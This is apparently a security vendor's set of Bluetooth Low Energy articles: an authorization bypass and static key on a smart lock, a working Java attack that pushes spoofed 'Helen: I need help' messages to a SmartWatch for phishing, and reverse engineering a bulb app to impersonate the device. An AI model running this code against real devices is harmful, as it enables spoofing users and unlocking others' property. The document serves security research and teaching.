In the next chapter we’ll analyze how the vendors fail to secure their communication, in which part of the communication most products fail and what can you do for your own product – so you can make sure this won’t happen to you.

The Failure

Authorization Bypass

Don’t be surprised. You may have seen this vulnerability class in your web application tests, but this class also tend to appear in BLE products too.

For those who are unaware about this vulnerability class, it happens when a functionality of the device should be reached only by authenticated users but because of the vulnerability unauthenticated users are able to use it as well.

We tested a particular lock which didn’t prevent the unauthorized user to unlock it. Here is the packet sent to unlock the lock:

Client >> Device(ffe9) : 0100
Client >> Device(ffe1) : ff01000011

The communication of the application layer is found to be encrypted. The first packet enables the device to be able to send us back messages where the second packet contains the preamble and suffix bytes (0xff and 0x11) as well as the main data package (0x010000). The first byte is used for unlocking the device (0x01). Sending directly such a packet and encrypting the packet using the encryption key found in the application. It turns out anyone can unlock the lock. Therefore, the authentication of the lock has been bypassed.

To address this vulnerability, the developers must make sure the user of the current session has been authenticated before giving access to the unlock functionality. This is possible as many BLE vendors permit to install callbacks to any attribute read or write operations.

Encryption using a Static Key

We’ve found a lot of devices using application-layer encryption. We are unsure if this is even necessary as the BLE protocol supports encryption on its own. However, no BLE encryption is enforced. Beside that mistake the whole custom communication protocol is encrypted using insecure cipher modes and static keys. Mainly the developer’s idea is to transfer the app data via an insecure channel and provide encryption to the data using a key burred into the app with the hope that nobody is going to find it.

This is a misconception and an excuse based on the minor difficulty needed to make a proper protocol and properly configure the device to support modern pairing methods. Also, is a factor of cost, and often low-cost products can’t afford the luxury of security, and thus users may suffer.

Here is an example of a decompiled code of a BLE mobile app, that contains the encryption method and the key at the same class. The code is not stripped either.

public class AES {
    ...SNIP...
    static byte[] sKey = new byte[]{(byte) -41, (byte) -7, (byte) -13, (byte) , ...SNIP...};
  
    public static byte[] Encrypt(byte[] bArr) throws Exception {
        Key secretKeySpec = new SecretKeySpec(sKey, "AES");
        Cipher instance = Cipher.getInstance(MOD);
        instance.init(1, secretKeySpec);
        bArr = instance.doFinal(bArr);
        return bArr;
    }
    ...SNIP...

The above method “Encrypt” is used to encrypt the communication using the key stored in the variable “sKey”, which is a static key and anyone can find it, if able to dig enough into the application.

To remediate the issue, the vendor must transfer the encryption from the application layer to the lower layers such as SMP (Security Management Protocol) which is a layer of the BLE responsible for handling the encryption process.

Pairing Parameters & Configuration of the peripheral

Almost all of the BLE system-on-chip solutions offer a way to fine-tune the proper parameters and have provide to the user a secure session. Even though this is true, many choose not to follow the general guidelines and walk toward the easy path. A BLE have many pairing methods, however, if the device doesn’t have any interface or physical user input (such as a button) it’s like a dead-end. The device has no choice but to pair with the peer device in the “most” secure way possible. However, when no user intervention, no authentication is possible, and so the session can be spoofed or interrupted by a Man-in-the-middle.

The remediation is not an easy step, but is a step forward to success, as you go forward to secure the connection by unloading everything to the SMP. If you don’t have any way for the BLE SoC to accept any input, so the user can confirm or deny the PIN, you are heading to an insecure configuration.

Would you like to learn more? Do you develop any product and need help securing its BLE setup and the communication protocol? Contact us, we can help you out!

Summary

The BLE protocol is evolving faster than anyone expected. If you develop any BLE product you must make sure you cover at least the basic security configurations to protect your users from any kind of attack. In this article we didn’t even scratched the surface of the BLE security area. However, if you like to learn more, we offer a comprehensive training kit that teaches everything about BLE security. Follow us on our social media to benefit from our free webinars.

In this article we explain how to hack into a SmartWatch and show a custom text message. I won’t delve too much into the Bluetooth Low Energy technology but you can refer to our previous article for learning the basics.

The target is a SmartWatch M5 but the procedure is pretty much the same for all Smartwatches.

The Research & Methodology

The Goal

Modern SmartWatches support showing Smartphone’s messages. Most SmartWatches support multiple text types which among others are WhatsApp, Facebook or SMS messages. The sender’s name or phone number is shown along with their message.

The goal of this task is to have a way to communicate with the SmartWatch and feed it with the right information to show a rogue text message. I believe such phishing attacks work better when the user is in motion. When the target is in a motion does not even look at the SmartPhone to confirm the origin of the message. The users trust the information shown in their SmartWatch thinking it is coming from the SmartWatch. The best part? Most of SmartWatches are insecure and allows adversaries to connect to the SmartWatch and do all kind of things.

The way one could use this attack may seem limited but it is actually very powerful if put in the right context.

The Research – Reverse Engineering the app

Unfortunately for us, each and every SmartWatch is doing things differently. Each vendor implements their own logic and their own protocol; thus for each brand/model we need to do some research first. So let’s get started. We need to install gatttool into a linux machine and have standard BLE dongle.

To connect and discover the characteristics we used a BLE dongle and standard Linux tools such as gatttool.

gatttool -t public -b ff:ff:df:10:8d:f9 -I
[ff:ff:df:10:8d:f9][LE]> characteristics
handle: 0x0002, char properties: 0x12, char value handle: 0x0003, uuid: 00002a00-0000-1000-8000-00805f9b34fb
handle: 0x0004, char properties: 0x02, char value handle: 0x0005, uuid: 00002a01-0000-1000-8000-00805f9b34fb
handle: 0x0006, char properties: 0x02, char value handle: 0x0007, uuid: 00002a04-0000-1000-8000-00805f9b34fb
handle: 0x0009, char properties: 0x20, char value handle: 0x000a, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x000d, char properties: 0x02, char value handle: 0x000e, uuid: 00002a50-0000-1000-8000-00805f9b34fb
handle: 0x000f, char properties: 0x02, char value handle: 0x0010, uuid: 00002a26-0000-1000-8000-00805f9b34fb
handle: 0x0011, char properties: 0x02, char value handle: 0x0012, uuid: 00002a28-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x06, char value handle: 0x0016, uuid: 00002a4e-0000-1000-8000-00805f9b34fb
handle: 0x0017, char properties: 0x12, char value handle: 0x0018, uuid: 00002a22-0000-1000-8000-00805f9b34fb
handle: 0x001a, char properties: 0x0e, char value handle: 0x001b, uuid: 00002a32-0000-1000-8000-00805f9b34fb
handle: 0x001c, char properties: 0x12, char value handle: 0x001d, uuid: 00002a4d-0000-1000-8000-00805f9b34fb
handle: 0x0020, char properties: 0x12, char value handle: 0x0021, uuid: 00002a4d-0000-1000-8000-00805f9b34fb
handle: 0x0024, char properties: 0x0e, char value handle: 0x0025, uuid: 00002a4d-0000-1000-8000-00805f9b34fb
handle: 0x0027, char properties: 0x02, char value handle: 0x0028, uuid: 00002a4b-0000-1000-8000-00805f9b34fb
handle: 0x002a, char properties: 0x02, char value handle: 0x002b, uuid: 00002a4a-0000-1000-8000-00805f9b34fb
handle: 0x002c, char properties: 0x04, char value handle: 0x002d, uuid: 00002a4c-0000-1000-8000-00805f9b34fb
handle: 0x002f, char properties: 0x10, char value handle: 0x0030, uuid: 6e400003-b5a3-f393-e0a9-e50e24dcca9d
handle: 0x0032, char properties: 0x0c, char value handle: 0x0033, uuid: 6e400002-b5a3-f393-e0a9-e50e24dcca9d
handle: 0x0035, char properties: 0x12, char value handle: 0x0036, uuid: 00002a19-0000-1000-8000-00805f9b34fb
handle: 0x0039, char properties: 0x06, char value handle: 0x003a, uuid: 00010203-0405-0607-0809-0a0b0c0d2b12

We’ll have to decompile the SmartWatche’s mobile application to understand the custom BLE protocol. To do that we use Jadx which is a great decompiler and supports APK files out of the box.

The application is called FitPro and here how it looks like:

Through some code digging the notification handling class is found. This class is responsible for receiving SMS messages from Android and passing them over to the SmartWatch. Since this isn’t a reverse engineering write-up I won’t delve too much into the details of the task, however I will mention the findings.

The class is called “NotifyService” and through some other classes’ methods invocation it is able to construct a BLE message and forward it to the device.

Here is the packet construction:

The phone/source is the origin of the message and it’s a string. It can be anything really.

The phone is then followed by a colon and then a message.

The Message Packet Header is just 3 bytes and defines the type of the message.

Here how the type is defined, shown from the decompiled code:

case 5:
  str3 = SaveKeyValues.getStringValues("SMSState", str3);
  obj = new byte[]{(byte) 1, (byte) 0, (byte) 0};
  break;
  ... SNIP ...
case 11:
  str3 = SaveKeyValues.getStringValues("FaceBookState", str3);
  obj = new byte[]{(byte) 4, (byte) 0, (byte) 0};
  break;
case 12:
  str3 = SaveKeyValues.getStringValues("linkdedInState", str3);
  obj = new byte[]{(byte) 17, (byte) 0, (byte) 0};
  break;
case 13:
  str3 = SaveKeyValues.getStringValues("KakaoTalkState", str3);
  obj = new byte[]{(byte) 9, (byte) 0, (byte) 0};
  break;
default:

Therefore, for SMS messages the bytes {1,0,0} are used.

The protocol header is defined by two variable numbers which are actually based on the length of the data. Therefore, the message’s length is included.

This is how the protocol’s header is constructed (Don’t overthink about it):

public static byte[] getProtocol(byte b, byte b2, byte[] bArr) {
  Integer valueOf = Integer.valueOf(getLength().intValue() + bArr.length);
  Object obj = new byte[valueOf.intValue()];
  obj[0] = (byte) -51;
  Object intToBytes = ByteUtil.intToBytes(valueOf.intValue() - 3);
  System.arraycopy(intToBytes, 2, obj, 1, intToBytes.length - 2);
  obj[3] = b;
  obj[4] = 1;
  obj[5] = b2;
  Object intToBytes2 = ByteUtil.intToBytes(bArr.length);
  System.arraycopy(intToBytes2, 2, obj, 6, intToBytes2.length - 2);
  System.arraycopy(bArr, 0, obj, 8, bArr.length);
  return obj;
}

The NotifyService class leads also the the characteristic’s UUID (6e400002-b5a3-f393-e0a9-e50e24dcca9d) and therefore to its value handle (0x33).

Now we have a complete picture of how to send data to the SmartWatch. We’ ll now construct the code to send data to the device. We selected Java as we make use part of the decompiled code to construct the packet.

Re-constructing the Packet

Let’s construct the message and the message’s header:

static byte[] constructMessage(String phone, String msg) {
  ByteBuffer buffer = ByteBuffer.allocate(3 + msg.length() + 1 + phone.length());
  buffer.put(new byte[]{1,0,0});
  buffer.put(phone.getBytes());
  buffer.put((byte) 58); // colon
  buffer.put(msg.getBytes());
  return buffer.array();
}

We transfer the function getProtocol from the decompiled code, and then renaming some variables for clarity as well as altering some functions to match Java’s API:

public static byte[] getProtocol(byte b, byte b2, byte[] bArr) {
  Integer intBarrAndIntLen = Integer.valueOf(getLength().intValue() + bArr.length);
  byte[] payload = new byte[intBarrAndIntLen.intValue()];
  payload[0] = (byte) -51;
  byte[] byteOfIntBarrALenMinus3 = ByteBuffer.allocate(8).putInt(intBarrAndIntLen.intValue() - 3).array();
  System.arraycopy(byteOfIntBarrALenMinus3, 2, payload, 1, byteOfIntBarrALenMinus3.length - 2);
  payload[3] = b;
  payload[4] = 1;
  payload[5] = b2;
  byte[] intToBytes2 = ByteBuffer.allocate(4).putInt(bArr.length).array();
  System.arraycopy(intToBytes2, 2, payload, 6, intToBytes2.length - 2);
  System.arraycopy(bArr, 0, payload, 8, bArr.length);
  return payload;
}

The input of the method is given by the following method:

public static byte[] getSendPushRemindValue(int i, byte[] bArr) {
	return getProtocol((byte) 18, i == 1 ? (byte) 18 : (byte) 17, bArr);
}

How we make use of the method getProtocol:

byte[] data = getProtocol((byte)18, (byte)18, constructMessage("Helen", "I need help. 2nd floor"));

Since the default MTU of BLE allows 20 bytes to be sent the custom protocol’s message is split in two and therefore two BLE packets are used to transfer the custom PDU from the app to the SmartWatch.

Sending the custom message

Now we have all the necessary information to construct a valid message. So let’s connect and send it to the SmartWatch. To do that we make use of tool BLE:bit (blebit.io), but any other tool could be used really.

short chr_handle = 0x33;

// Create a controller object
CEController ce = BLEHelper.getCentralController(new CEBLEDeviceCallbackHandler());
if (ce == null) {
System.err.println("BLE:bit CE tool not found");
}

// Initialize the BLE tool
ce.sendConnectionParameters(new CEConnectionParameters());
ce.sendBluetoothDeviceAddress("ff:55:ee:fe:4a:af", ConnectionTypesCommon.BITAddressType.STATIC_PRIVATE);
ce.configurePairing(ConnectionTypesCommon.PairingMethods.NO_IO, null);
ce.finishSetup();

System.out.println("Searching for the target");

// Connect to the target
ce.connectNow("ff:ff:df:10:8d:f9", ConnectionTypesCommon.AddressType.PUBLIC_ADDR);

System.out.println("Connected");

// Send data to the device
byte[] data = getProtocol((byte)18, (byte)18, constructMessage("Helen", "I need help. 2nd floor"));

if (data.length <= 20) {
sendData(ce, data, chr_handle);
}else {
byte[] first_packet = Arrays.copyOfRange(data, 0, 20);
byte[] second_packet = Arrays.copyOfRange(data, 20, data.length);

sendData(ce, first_packet, chr_handle);
sendData(ce, second_packet, chr_handle);
}

// Disconnect and terminate the session
ce.disconnect(19);
ce.terminate();

System.out.println("Terminated");

The program is constructing a message having the sender’s name to be “Helen” and the message body to be “I need help. 2nd floor”.

Do you own a product?

Let's schedule a consultation to identify your potential attack vectors. From there, we can strategize a comprehensive testing plan aimed at fortifying your product against vulnerabilities, thereby safeguarding both your user base and infrastructure from malicious activities.

Book a Pentest

There are myriad of applications that have been tested either through penetration testing or through bug bounties. However few people have tested their BLE functionality, because many people aren’t familiar with this technology. As BLE Experts, we would like to bring BLE security to the front-line by enabling everyone to learn how BLE works. However, this article combines reverse engineering and BLE and helps our mission: to make BLE Security aware to everyone.

TL;DR:

In this article we will go through a BLE Bulb Application and try to make the BLE communication happen without having the actual bulb in our hands. The same concepts apply to all apps. We will need BLE-related tools though, which help us to talk to the mobile application. We make use of BLE:Bit tool, a tool designed by Cybervelia.

The end-goal is to reverse engineer the application, understand how it works and make it talk with a fake device we’ re gonna build. If we would be able to make the BLE communication happen that may trigger requests towards to back-end endpoints and that would enable us to test them too (i.e. via Burp). However, I can assure you the app we are testing in this example won’t trigger any requests to the back-end. More advanced applications would trigger such requests, so nothing changes in the methodology we use.

Taking the application apart

First of all we have to decompile the application and get the decompiled java code – at least for Android.

We are going to delve into the decompiled code of the application. If this is not for you, no hurt feelings you may close this page. However, if you like application digging and you often find yourself trying to understand the application’ internals, then this is gold for you.

We will dissect the decompiled application to find three core components which will define the behavior of the device and application:

• Device name

  • Each BLE device often advertise certain data to the air. Such data are received by the Android OS and are forwarded to the application. The device may, or may not advertise its name, but often it does. Among other things it can advertise custom data which are used to identify the type of the device.

  • The application does not wish to recognize any BLE as its potential device – instead the developer of the app tries to recognize and show to the user only the relevant devices. Therefore the vendor places certain special data into the advertisement data. When the application receives such data, knows which MAC address, hence which device, is the one must connect to.

  • To make the application connect to our fake device, we must find out what exactly is looking for in the advertisement data. This will enable us to start advertising with the same data and offering the same services, hence making the application connect to our fake peripheral, as it pretends to be the potential X device.

• Service discovery

  • Each BLE device provides certain services and characteristics (read the BLE basics here).

  • When connecting to the BLE you may start enumerating its services and characteristics. This is exactly what the BLE mobile application does after the connection is established. This is done to receive the characteristic object. A characteristic in BLE is just like an endpoint in Web 2.0.

  • You can write or read data from a characteristic, and each characteristic is uniquely identified by its UUID. The applications have the device’s characteristic and service UUIDs hardcoded.

  • Therefore in this phase we must recognize and retrieve such UUIDs. We need those as we will clone the application’s behavior and transfer that functionality in our rogue device we’ re gonna build later-on.

• Behavioral analysis

  • This is split into two other subcategories: Locating the write functions and locating the notification handling functions.

  • The notifications happen when the device is sending out messages to the device.

  • The write methods are what is being used by the application to send data to the device.

Device Name

Let’s find the name of the BLE target and any other advertised data. We don’t have the BLE device, so we have to dig into the decompiled code and find the name the application is looking for – if looking at all, for any name.

Our reverse engineering efforts are based on finding the methods provided by the standard Android API. Even when the code-base has the symbols being stripped-out, or when the code is completely obfuscated, we can still locate the functions handling the BLE connection, as the Android API must be used – and this cannot be obfuscated.

When we are looking for any advertisement data, we can lookup for the following standard functions:

ScanResult Class

ScanResult is a class and the instances of this class must be used to extract the advertisement data. It provides several methods for that. The developer may receive the raw bytes (this parser may contain vulnerability) or letting the android to properly parse the data and get the required values. Let’s see a few examples.

private static BluetoothScanResult newBluetoothScanResult(ScanResult scanResult) {
  ScanRecord scanRecord = scanResult.getScanRecord();
  byte[] scanRecordBytes = scanRecord.getBytes();
  if (isBeacon(scanRecordBytes)) {
  ... SNIP ...

In the above decompiled code, the scanResult object contains a method called getScanRecord() which can be used to extract the raw bytes.

List<ParcelUuid> uuids = scanResult.getScanRecord().getServiceUuids();

The above snippet can be used to extract the services offered by the device.

The snippet following shows how the scanRecord object can be used to extract the device’s name.

String deviceName = scanResult.getDeviceName();

onLeScan method

In older Android versions (up to kitkat) the method onLeScan was used instead of ScanResult. The scanRecord was used to provide the raw data and the developer had to parse and extract the advertisement values manually from the raw bytes. Some things can be extracted but generally speaking, not much functionality is given.

public void onLeScan(BluetoothDevice device, int rssi, byte[] scanRecord) {
  LeRecord leRecord = parseData(scanRecord);
  String name = device.getName();

Let’s search the code base using those two methods to locate the device-specific checks in our targeted application. We need to find where the application recognizes the device to be it’s “own” device type (i.e. this is my own M15X SmartWatch).

$ grep -Rni "ScanResult"
$ grep -Rni "onLeScan"
consmart/ble/BleController.java:21:        public void onLeScan(BluetoothDevice bluetoothDevice, int i, byte[] bArr) {
consmart/ble/BleController.java:25:                    BleController.this.mMyLeScanCallback.onLeScan(bluetoothDevice, i);
consmart/ble/BleController.java:28:                BleController.this.mMyLeScanCallback.onLeScan(bluetoothDevice, i);
consmart/ble/BleController.java:43:        void onLeScan(BluetoothDevice bluetoothDevice, int i);
consmart/ble/MainActivity.java:15:        public void onLeScan(BluetoothDevice bluetoothDevice, int i) {
qh/blelight/BluetoothLeService.java:72:        public synchronized void onLeScan(final BluetoothDevice bluetoothDevice, int i, byte[] bArr) {

We can see three classes to make sense below

• BleController (package consmart)

• MainActivity (package consmart)

• BluetoothLeService (package qh)

Navigating to the BleController:

private String name;

public void setScanLeDeviceType(UUID[] uuidArr, String str) {
	this.serviceUuids = uuidArr;
	this.name = str;
}

private LeScanCallback mLeScanCallback = new LeScanCallback() {
	public void onLeScan(BluetoothDevice bluetoothDevice, int i, byte[] bArr) {
	    String name = bluetoothDevice.getName();
	    if (BleController.this.name != null || "".equals(BleController.this.name)) {
                if (BleController.this.name.equals(name.substring(0, BleController.this.name.length())) && BleController.this.mMyLeScanCallback != null) {
                      BleController.this.mMyLeScanCallback.onLeScan(bluetoothDevice, i);
                }
	    } else if (BleController.this.mMyLeScanCallback != null) {
				BleController.this.mMyLeScanCallback.onLeScan(bluetoothDevice, i);
	    }
	}
};

The device name seems to be “123456”, as shown below.

$ grep -Rni "setScanLeDeviceType"
consmart/ble/BleController.java:66:    public void setScanLeDeviceType(UUID[] uuidArr, String str) {
consmart/ble/MainActivity.java:25:        this.mBleController.setScanLeDeviceType(null, "123456");

Not very sensible right?

Navigating to MainActivity:

protected void onCreate(Bundle bundle) {
  super.onCreate(bundle);
  setContentView(R.color.color1);
  this.mContext = getApplicationContext();
  this.mBleController = BleController.initialization(this.mContext);
  new UUID[1][0] = UUID.fromString("0000180d-0000-1000-8000-00805f9b34fb");
  this.mBleController.setScanLeDeviceType(null, "123456");
  ... SNIP ...

It seems that when the MainActivity is loaded, the BLE controller is initialized, the device name is set, and the UUID service is set to be “0000180d-0000-1000-8000-00805f9b34fb”.

Before moving further, if we use what we have found so far to build a peripheral, and then try to connect using the mobile application, we would see that the application cannot find our custom-build device. Let’s continue our research, you will soon understand why.

Navigating to BluetoothLeService:

... SNIP ...
public static final String COMPANY_NAME = "^Triones-|^BRGlight|^Triones\\+|^Dream|^Light-|^Triones~|^Triones";
public static final UUID UUID_HEART_RATE_MEASUREMENT = UUID.fromString(SampleGattAttributes.HEART_RATE_MEASUREMENT);
... SNIP ...
   public synchronized void onLeScan(final BluetoothDevice bluetoothDevice, int i, byte[] bArr) {
    CharSequence name = bluetoothDevice.getName();
    if (name != null) {
        if (Pattern.compile(BluetoothLeService.COMPANY_NAME).matcher(name).find()) {
            if (!BluetoothLeService.this.mDevices.containsKey(bluetoothDevice.getAddress())) {
                BluetoothLeService.this.mDeviceAddr = bluetoothDevice.getAddress();
                BluetoothLeService.this.mDevices.put(bluetoothDevice.getAddress(), bluetoothDevice);
... SNIP ...           
public int connBLE(final String str) { ... }
public boolean scanLeDevice() { ... }
... SNIP ...

We can see several interesting methods defined by this class. For now, the most important is the method onLeScan.

In that particular method, the device’s name is retrieved and matched against a regular expression. It checks the device’s name against several names including the following:

• Triones

• BRGlight

• Dream

• Light

if any of the above is included in the device’s name will match and will be added to the application’s list.

But what list are we referring to?

Service Discovery

We almost have what we need to create a rogue peripheral. What is missing here is the UUID of services used by this application.

We have seen one to be defined in the BluetoothLeService:

public static final UUID UUID_HEART_RATE_MEASUREMENT = UUID.fromString(SampleGattAttributes.HEART_RATE_MEASUREMENT);

Let’s see where HEART_RATE_MEASUREMENT has been defined (same symbol could be used in more than one classes):

$ grep -Rni "HEART_RATE_MEASUREMENT"
.idea/workspace.xml:41:      <find>SampleGattAttributes.HEART_RATE_MEASUREMENT</find>
.idea/workspace.xml:42:      <find>HEART_RATE_MEASUREMENT</find>
com/qh/blelight/BluetoothLeService.java:37:    public static final UUID UUID_HEART_RATE_MEASUREMENT = UUID.fromString(SampleGattAttributes.HEART_RATE_MEASUREMENT);
com/qh/tools/SampleGattAttributes.java:7:    public static String HEART_RATE_MEASUREMENT = "0000ffe1-0000-1000-8000-00805f9b34fb";
com/qh/tools/SampleGattAttributes.java:8:    public static String HEART_RATE_MEASUREMENT2 = "0000ffe2-0000-1000-8000-00805f9b34fb";
com/qh/tools/SampleGattAttributes.java:14:        attributes.put(HEART_RATE_MEASUREMENT, "Heart Rate Measurement");

We have found two UUIDs:

• 0000ffe1-0000-1000-8000-00805f9b34fb

• 0000ffe2-0000-1000-8000-00805f9b34fb

We also found another UUID earlier – This is a known service UUID which stands for heart rate service:

• 0000180d-0000-1000-8000-00805f9b34fb

Are those all? Are UUID numbers 0xffe1 and 0xffe2 a type of characteristic or a service?

Such UUIDs are defined in class SampleGattAttributes. So let’s go in reverse and search globally where these calls are used for.

$ grep -Rni "SampleGattAttributes"
com/qh/blelight/BluetoothLeService.java:21:import com.qh.tools.SampleGattAttributes;
com/qh/blelight/BluetoothLeService.java:37:    public static final UUID UUID_HEART_RATE_MEASUREMENT = UUID.fromString(SampleGattAttributes.HEART_RATE_MEASUREMENT);
com/qh/blelight/MyBluetoothGatt.java:27:import com.qh.tools.SampleGattAttributes;
com/qh/blelight/MyBluetoothGatt.java:619:                BluetoothGattDescriptor descriptor = this.photoCharacteristic.getDescriptor(UUID.fromString(SampleGattAttributes.CLIENT_CHARACTERISTIC_CONFIG));
com/qh/tools/SampleGattAttributes.java:5:public class SampleGattAttributes {

The class MyBluetoothGatt seems to be very interesting as it is using the CCCD UUID to define a characteristic descriptor. Let’s visit it.

This is where it is used:

public void setNotify() {
	UUID fromString = UUID.fromString("0000ffd0-0000-1000-8000-00805f9b34fb");
	UUID fromString2 = UUID.fromString(DeviceUUID.CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_DATA_UUID);
	if (this.mBluetoothGatt != null) {
	    BluetoothGattService service = this.mBluetoothGatt.getService(fromString);
	    if (service != null) {
          this.photoCharacteristic = service.getCharacteristic(fromString2);
          this.mBluetoothGatt.setCharacteristicNotification(this.photoCharacteristic, true);
          BluetoothGattDescriptor descriptor = this.photoCharacteristic.getDescriptor(UUID.fromString(SampleGattAttributes.CLIENT_CHARACTERISTIC_CONFIG));
          if (descriptor != null) {
              descriptor.setValue(BluetoothGattDescriptor.ENABLE_NOTIFICATION_VALUE);
              this.mBluetoothGatt.writeDescriptor(descriptor);
          }
	    }
	}
}

We gained one more UUID. However, we can see that UUIDs are retrieved from somewhere else: from the class DeviceUUID.

Before moving into this class, I can ensure you this is the class we will need for the next phase. The class MyBluetoothGatt contains all BLE handling methods.

Let’s visit the class DeviceUUID:

public class DeviceUUID {
    public static final String CONSMART_BLE_180a_UUID = "0000180a-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_2a25_UUID = "00002a25-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_DATA_UUID = "0000ffd4-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_MUSICCHECK_UUID = "0000fff4-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_MUSICMOD_UUID = "0000fff9-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_TIME_UUID = "0000fff7-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_WRGB_UUID = "0000ffd9-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_NOTIFICATION_SERVICE_DATA_UUID = "0000ffd0-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_NOTIFICATION_SERVICE_WRGB_UUID = "0000ffd5-0000-1000-8000-00805f9b34fb";
    public static final String CONSMART_BLE_WRITE_CHARACTERISTICS_MUSICCHECK_UUID = "0000fff3-0000-1000-8000-00805f9b34fb";
    public static final int SLIC_BLE_MANUFACTURER_DATA_LEN = 4;
    public static final String SLIC_BLE_NOTIFICATION_CHARACTERISTICS_SIGNAL_UUID = "00002a06-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_NOTIFICATION_SERVICE_SIGNAL_UUID = "00001803-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_CHARACTERISTICS_BATTERY_UUID = "00002a19-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_CHARACTERISTICS_DEVICE_INFO_MANUFACTURER_NAME_UUID = "00002a29-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_CHARACTERISTICS_INFO_ADDRESS_UUID = "00002a03-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_CHARACTERISTICS_INFO_APPEARANCE_UUID = "00002a01-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_CHARACTERISTICS_INFO_DEVICE_NAME_UUID = "00002a00-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_CHARACTERISTICS_TX_POWER_LEVEL_UUID = "00002a07-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_SERVICE_BATTERY_UUID = "0000180f-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_SERVICE_DEVICE_INFO_UUID = "0000180a-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_SERVICE_INFO_UUID = "00001800-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_READ_SERVICE_TX_POWER_LEVEL_UUID = "00001804-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_WRITE_CHARACTERISTICS_SOUND_ALERT_UUID = "00002a06-0000-1000-8000-00805f9b34fb";
    public static final String SLIC_BLE_WRITE_SERVICE_SOUND_ALERT_HIGH_UUID = "00001802-0000-1000-8000-00805f9b34fb";
    public static final String SWITCH_CAMERA_FIND_CHARA = "0000ffd1-0000-1000-8000-00805f9b34fb";
    public static final String SWITCH_CAMERA_FIND_SERVICE = "0000ffd0-0000-1000-8000-00805f9b34fb";
    public static final String SWITCH_FLIGHTMODE = "0000ffd3-0000-1000-8000-00805f9b34fb";
}

I guess that’s all the UUIDs we are going to need. Here the UUIDs are defined along and their explanation. But are all of those UUIDs really used by this app?

Let’s return to class MyBluetoothGatt.

We note down all the UUIDs used in this class, and that’s how we gain all UUIDs have been used from this application.

Behavioral Analysis

Since we have what we need in class MyBluetoothGatt what is missing is to understand the various methods used in this class (when the developers use the class BluetoothGatt often it contains most of the BLE implementation).

Let’s take a method from this class.

public void openLight(boolean z) {
    if (this.datas != null && this.datas.length >= 4) {
        byte[] bArr = new byte[]{(byte) -52, (byte) 35, (byte) 51};
        if (z) {
            this.datas[2] = (byte) 35;
        } else {
            bArr = new byte[]{(byte) -52, (byte) 36, (byte) 51};
            this.datas[2] = (byte) 36;
            if (this.mHandler != null) {
                this.mHandler.postDelayed(new Runnable() {
                    public void run() {
                        MyBluetoothGatt.this.writeCharacteristic(DeviceUUID.CONSMART_BLE_NOTIFICATION_SERVICE_WRGB_UUID, DeviceUUID.CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_WRGB_UUID, new byte[]{(byte) -52, (byte) 36, (byte) 51}, true);
                    }
                }, 300);
            }
        }
        writeCharacteristic(DeviceUUID.CONSMART_BLE_NOTIFICATION_SERVICE_WRGB_UUID, DeviceUUID.CONSMART_BLE_NOTIFICATION_CHARACTERISTICS_WRGB_UUID, bArr, true);
    }
}

This is the service UUID: 0000ffd5-0000-1000-8000-00805f9b34fb

This is the characteristic UUID: 0000ffd9-0000-1000-8000-00805f9b34fb

Note: We ignore the UUIDs we have found before, as the new ones are probably the ones the application uses to talk to the bulb.

Why did i chose this particular methods over all the methods of the class? Because the target is a bulb and from all the other methods in the class, the method’s name looks exactly what I wanted, to open the light.

Let’s rapidly build a peripheral to test our assumptions: Make the application 1) make the app connect to our device, 2) Make it discover our strategically placed services and characteristics and 3) communicate and read or write data from/into them.

// Configure peripheral using BLE:bit tool
PEController pe = BLEHelper.getPeripheralController(getPEBLEDeviceCallbackHandler());
if (pe == null) {
    System.err.println("PE tool Not found");
    System.exit(1);
}
pe.configurePairing(PairingMethods.NO_IO);
pe.sendBluetoothDeviceAddress(BLEHelper.generateRandomDeviceAddress(), BITAddressType.PUBLIC);
pe.sendConnectionParameters(new PEConnectionParameters());

// Set device name
pe.sendDeviceName("Triones-1");
AdvertisementData advdata = new AdvertisementData();
advdata.setFlags(AdvertisementData.FLAG_LE_GENERAL_DISCOVERABLE_MODE | AdvertisementData.FLAG_ER_BDR_NOT_SUPPORTED);
advdata.includeDeviceName();
pe.sendAdvertisementData(advdata);

// Define service
BLEService ble_service = new BLEService("0000ffd5-0000-1000-8000-00805f9b34fb");

// Define characteristic
BLECharacteristic chr = new BLECharacteristic("0000ffd9-0000-1000-8000-00805f9b34fb", new byte[] {0});
chr.enableRead();
chr.enableWrite();
chr.enableNotification();
chr.setAttributePermissions(BLEAttributePermission.OPEN, BLEAttributePermission.OPEN);
chr.setMaxValueLength(27);

// Add service and characteristic
ble_service.addCharacteristic(chr);
pe.sendBLEService(ble_service);

// Start advertisement
pe.finishSetup();

Our device has started advertising using the device name “Triones-1”. As shown below, the application has found the device and connected automatically to the device.

This is the output of the tool without touching anything in the app:

Connected 65:da:23:e7:31:4b
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: ef0177
